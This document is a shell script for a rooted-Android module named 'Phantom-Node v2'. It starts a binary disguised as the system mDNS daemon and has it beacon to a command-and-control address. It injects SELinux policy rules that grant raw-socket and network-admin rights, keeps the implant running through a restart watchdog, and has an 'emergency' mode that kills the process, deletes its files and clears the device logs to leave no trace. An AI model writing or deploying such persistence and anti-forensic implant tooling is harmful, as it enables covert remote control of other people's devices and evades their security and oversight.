#!/system/bin/sh
# Phantom-Node v2 — KSU Module Service
# State machine: Inactive → Active → Deactivating
# Binary: mdnsd (masked as system mDNS daemon)

MODDIR=/data/adb/modules/phantom_node
BIN_PATH=$MODDIR/system/bin/mdnsd
[ -f "$BIN_PATH" ] || BIN_PATH=/data/local/tmp/pl
CTRL=/data/local/tmp/.pnctl
STATE=/data/local/tmp/.pnstate
PID_FILE=/data/local/tmp/.pnpid
C2="192.168.1.229:5445"
IFACE="wlan0"

# ── SELinux persistent rules ────────────────────────────────────────────────
/product/bin/magiskpolicy --live \
  "allow magisk magisk rawip_socket { create read write setopt getopt }" 2>/dev/null
/product/bin/magiskpolicy --live \
  "allow magisk magisk tcp_socket { create read write setopt getopt connect }" 2>/dev/null
/product/bin/magiskpolicy --live \
  "allow magisk shell_data_file file { execute read open }" 2>/dev/null
/product/bin/magiskpolicy --live \
  "allow magisk system_file file { execute read open }" 2>/dev/null
/product/bin/magiskpolicy --live \
  "allow magisk magisk capability { net_admin net_raw }" 2>/dev/null

# ── Wait for network ────────────────────────────────────────────────────────
sleep 15

# ── State machine watchdog ──────────────────────────────────────────────────
echo "active" > "$STATE"
echo "" > "$CTRL"

start_beacon() {
    "$BIN_PATH" --c2 "$C2" --iface "$IFACE" &
    echo $! > "$PID_FILE"
}

beacon_alive() {
    PID=$(cat "$PID_FILE" 2>/dev/null)
    [ -n "$PID" ] && kill -0 "$PID" 2>/dev/null
}

# Start only if not already running
if ! beacon_alive; then
    start_beacon
fi

while true; do
    CTL=$(cat "$CTRL" 2>/dev/null | tr -d '[:space:]')

    case "$CTL" in
        deactivate|stop)
            echo "deactivating" > "$STATE"
            PID=$(cat "$PID_FILE" 2>/dev/null)
            [ -n "$PID" ] && kill "$PID" 2>/dev/null
            logcat -c 2>/dev/null
            rm -f "$PID_FILE"
            echo "inactive" > "$STATE"
            exit 0
            ;;
        emergency)
            # Wipe everything — no trace
            PID=$(cat "$PID_FILE" 2>/dev/null)
            [ -n "$PID" ] && kill -9 "$PID" 2>/dev/null
            rm -f "$PID_FILE" "$CTRL" "$STATE"
            logcat -c 2>/dev/null
            exit 0
            ;;
    esac

    # Auto-restart if dead
    if ! beacon_alive; then
        echo "activating" > "$STATE"
        start_beacon
        echo "active" > "$STATE"
    fi

    sleep 30
done
